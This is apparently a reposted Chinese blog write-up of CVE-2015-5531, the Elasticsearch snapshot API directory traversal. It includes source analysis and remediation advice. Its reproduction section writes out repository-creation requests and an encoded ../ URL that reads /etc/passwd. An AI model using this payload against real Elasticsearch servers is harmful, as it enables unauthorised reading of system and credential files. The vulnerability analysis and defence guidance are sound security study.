CVE-2015-5531源碼分析與漏洞復現(Elasticsearch目錄遍歷漏洞)

概述

漏洞名稱:Elasticsearch 快照API目錄遍歷漏洞
CVE 編號:CVE-2015-5531
CVSS 評分:7.5
影響版本
Elasticsearch 1.0.0–1.6.0(1.5.1及以前版本無需配置即可觸發;1.5.2–1.6.0需配置path.repo
修復版本:≥ 1.6.1
漏洞類型:目錄遍歷 → 任意文件讀取
根本原因
Elasticsearch 快照API未對用戶輸入的存儲路徑進行規范化校驗,攻擊者可通過構造含../的惡意路徑參數,繞過目錄限制讀取服務器任意文件(如/etc/passwd、配置文件或敏感數據)。


源碼分析

漏洞位置:org.elasticsearch.repositories.fs.FsRepository

public class FsRepository extends BlobStoreRepository {@Injectpublic FsRepository(RepositoryName name, RepositorySettings repositorySettings, Environment environment) throws IOException {// 關鍵漏洞點1:獲取location參數(用戶可控)String location = repositorySettings.settings().get("location", this.componentSettings.get("location"));// 關鍵漏洞點2:解析路徑但未規范化File locationFile = environment.resolveRepoFile(location);// 關鍵漏洞點3:創建文件系統訪問對象this.blobStore = new FsBlobStore(this.componentSettings, locationFile);}
}

漏洞核心:FsBlobStore 構造器

public FsBlobStore(Settings settings, File file) {this.file = file; // 直接存儲未規范化的用戶輸入路徑this.bufferSizeInBytes = (int) settings.getAsBytes("buffer_size", 102400).bytes();
}

漏洞觸發鏈

攻擊者 FsRepository Environment.resolveRepoFile FsBlobStore FileSystem SnapshotAPI 創建倉庫(location="repo/../../../../") 解析路徑 返回未規范化路徑對象 傳入惡意路徑 存儲路徑引用 創建快照(snapshot="passwd") 訪問repo/../../../../passwd 讀取/etc/passwd 返回敏感文件內容 攻擊者 FsRepository Environment.resolveRepoFile FsBlobStore FileSystem SnapshotAPI

漏洞根源分析

  1. 路徑解析缺陷

    • environment.resolveRepoFile() 僅驗證路徑是否在 path.repo 配置范圍內
    • 但允許路徑包含 ../ 序列(如 valid_path/../../../etc
  2. 缺少規范化校驗

    // 應有但缺失的安全檢查
    Path normalized = locationFile.toPath().normalize();
    if (!normalized.startsWith(environment.repoFiles()[0].toPath())) {throw new SecurityException("Path traversal attempt");
    }
    
  3. 無快照名稱過濾

    • 快照名稱直接拼接路徑(location + "/" + snapshot
    • 未過濾 snapshot 中的特殊字符

漏洞復現

1. 手動復現步驟

(1)創建惡意倉庫

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108{"type": "fs","settings": {"location": "/usr/share/elasticsearch/repo/test" }
}

在這里插入圖片描述

(2)注入路徑遍歷字符創建快照

PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108{"type": "fs","settings": {"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" }
}

在這里插入圖片描述

(3)讀取任意文件

http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

在這里插入圖片描述

ascii解碼
在這里插入圖片描述


影響范圍

受影響版本

分支受影響版本安全版本
1.0.x–1.4.x全版本無官方更新
1.5.x1.5.0–1.5.1≥ 1.6.1
1.6.x≤ 1.6.0≥ 1.6.1

漏洞啟示

  1. 零信任路徑處理:所有用戶輸入路徑必須經絕對路徑規范化 + 子目錄校驗(參考OWASP路徑遍歷防護指南)。
  2. 最小權限原則:備份目錄需獨立配置,且Elasticsearch進程權限應限制為僅能讀寫必要目錄。
  3. 縱深防御:結合應用層補丁、網絡隔離(防火墻規則)和文件監控(Auditd日志審計)多層防護。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/86566.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/86566.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/86566.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

HexHub開發運維利器Database, Docker, SSH, SFTP

支持隧道,SFTP,X11轉發,跳板機,分屏廣播輸入,LRZSZ,TRZSZ,SCP 分屏廣播輸入 管理多臺服務器,更快一步 支持多種文件傳輸協議 支持跨服務器文件傳輸,使用復制粘貼即可進…

2025年教育、心理健康與信息管理國際會議(EMHIM 2025)

2025 2nd International Conference on Education, Mental Health, and Information Management 一、大會信息 會議簡稱:EMHIM 2025 大會地點:中國三亞 收錄檢索:提交Ei Compendex,CPCI,CNKI,Google Scholar等 二、會議簡介 第二屆教…

數字孿生技術為UI前端注入新活力:實現智能化交互新體驗

hello寶子們...我們是艾斯視覺擅長ui設計、前端開發、數字孿生、大數據、三維建模、三維動畫10年經驗!希望我的分享能幫助到您!如需幫助可以評論關注私信我們一起探討!致敬感謝感恩! 在數字化轉型的深水區,數字孿生技術正以破竹之勢重構 UI 前端的技術邏輯與交互范式…

組件協作模式

目錄 “組件協作”模式模板方法模式動機模式定義結構要點總結 “組件協作”模式 現代軟件專業分工之后的第一個結果是“框架與應用程序的劃分”。“組件協作”模式通過晚期綁定,實現框架與應用程序之間的松耦合,是二者之間協作時常用的模式。典型模式&a…

Docker 運行RAGFlow 搭建RAG知識庫

借鑒視頻:DeepSeek 10分鐘完全本地部署 保姆級教程 斷網運行 無懼隱私威脅 大語言模型 CPU GPU 混合推理32B輕松本地部署!DeepSeek模擬王者!!_嗶哩嗶哩_bilibili 借鑒博客:RAGFlow搭建全攻略:從入門到精通…

python編寫腳本每月1號和15號執行一次將TRX是否強更發送到釘釘

編寫腳本 import requests import json import time import hmac import hashlib import base64 import urllib.parse# 1. 配置釘釘機器人 webhook "https://oapi.dingtalk.com/robot/send?access_tokenXXXXXX" secret "XXXXXXXX" # 如果沒有加簽驗…

Linux-系統管理

[rootlocalhost ~]# lscpu //查看cpu [rootlocalhost etc]# cat /etc/redhat-release //查看當前目錄的版本信息 [rootlocalhost ~]# ifconfig //查看當前激活的網卡信息 [rootlocalhost ~]# ifconfig ens33 192.168.1.10 //給網卡配置臨時地址 [rootlocalhost ~]# hostnam…

【Spring】系統化的 Spring Boot 全棧學習教程,涵蓋基礎配置、核心功能、進階實戰及文檔自動生成

這里寫目錄標題 🛠? **一、環境搭建與項目創建**1. 開發環境準備2. 創建第一個項目(Spring Initializr) 🚀 **二、核心功能開發**1. RESTful API 開發2. 數據持久化(Spring Data JPA)3. 配置文件多環境切換…

Discrete Audio Tokens: More Than a Survey

文章目錄 模型設計的考慮量化的方式:比特率:Fixed vs. Adaptive Bitrate碼本內容設計的考慮Streamability. 模型評估Reconstruction Evaluation and Complexity Analysis.識別和生成任務(SE, SR)Acoustic Language Modeling.Music Generation…

設計在線教育項目核心數據庫表

1 在線教育項目核心數據庫表設計-ER圖 簡介:設計在線教育的核心庫表結構 在線教育站點速覽 xdclass.net ER圖知識回顧: 實體對象:矩形屬性:橢圓關系:菱形 核心庫表 videochapterepisodeuservideo_ordervideo_banner…

【音視頻】Ubuntu下配置ffmpeg庫

一、下載預編譯的庫 在github上可以找到編譯好的ffmpeg,多個版本的都有,這里我下載ffmpeg編譯好的動態庫 倉庫鏈接:(https://github.com/BtbN/FFmpeg-Builds/releases 下載后解壓得到 二、配置環境變量 打開.bashrc配置文件,添…

equine在神經網絡中建立量化不確定性

?一、軟件介紹 文末提供程序和源碼下載 眾所周知,用于監督標記問題的深度神經網絡 (DNN) 可以在各種學習任務中產生準確的結果。但是,當準確性是唯一目標時,DNN 經常會做出過于自信的預測,并且無論測試數…

C++動態鏈接庫之非托管封裝Invoke,供C#/C++ 等編程語言使用,小白教程——C++動態鏈接庫(一)

目錄: 一、前言及背景1.1需求描述1.2應用背景 二、編程基礎知識2.1非托管方式交互邏輯2.2該方式下C 與C# 數據轉換對應2.3VS工程下的注意點2.4C封裝接口2.4.1 __declspec(dllexport) 方式2.4.2 .def 文件方式2.4.3結合使用(高級) 2.5C# 封裝接…

消息隊列的網絡模型詳解:IO多路復用、Reactor模型、零拷貝

文章目錄 一、消息隊列的網路模型擬解決問題單個請求性能優化1. 編解碼速度2. 網絡模塊處理速度 并發請求性能優化1. 高效的連接管理2. 快速處理高并發請求3. 大流量場景處理 二、一些技術基礎知識1. 基于多路復用技術管理 TCP 連接(提高性能)&#xff0…

【生成模型】【模型介紹】(一)視頻生成Wan2.1速度質量簡單評測

基礎模型:FramePack https://github.com/kijai/ComfyUI-FramePackWrapper huggingface-cli download Comfy-Org/HunyuanVideo_repackaged --local-dir Comfy-Org/HunyuanVideo_repackaged --resume-download huggingface-cli download Comfy-Org/sigclip_vision_3…

微信小程序之滑塊scroll-view

我們要做的東西&#xff1a; 滑塊的視頻 我們先做個基本的圖片和文字(wxm;)&#xff1a; <scroll-view><view class"scrollItem"><image src"https://bkimg.cdn.bcebos.com/pic/fc1f4134970a304e251fd88e8191b086c9177f3ef634?x-bce-processim…

如何寫出優秀的單元測試?

&#x1f345; 點擊文末小卡片&#xff0c;免費獲取軟件測試全套資料&#xff0c;資料在手&#xff0c;漲薪更快 寫出優秀的單元測試需要考慮以下幾個方面&#xff1a; 1. 測試用例設計 測試用例應該覆蓋被測試代碼的不同場景和邊界情況&#xff0c;以盡可能發現潛在的問題。…

Python LangChain 3.0 詳解:重構大模型應用開發范式

引言 在人工智能技術日新月異的今天&#xff0c;大模型應用開發框架的迭代速度直接決定了AI落地的效率。LangChain作為這一領域的領軍者&#xff0c;于2024年正式發布3.0版本&#xff0c;通過架構重構與功能擴展&#xff0c;為開發者提供了更強大的工具集。本文將深入解析Lang…

Java模板設計模式詳解

以下是Java模板設計模式的詳細解析&#xff1a; 一、核心定義 模板模式&#xff08;Template Method Pattern&#xff09;是一種?行為型設計模式?&#xff0c;通過定義算法骨架并允許子類重寫特定步驟&#xff0c;實現代碼復用與擴展。其核心在于控制?流程標準化?&#x…

Word 中批量轉換 LaTeX 公式為標準數學格式的終極方法(附宏設置教程)

在學術寫作中&#xff0c;我們常常需要將 LaTeX 格式的公式插入到 Word 文檔中。但如果你有一大段公式使用 $...$ 或 LaTeX 命令&#xff0c;手動轉換無疑非常耗時。本文將介紹一種“一鍵轉換所有 LaTeX 公式為 Word 數學公式”的方法&#xff0c;只需設置一次宏&#xff0c;后…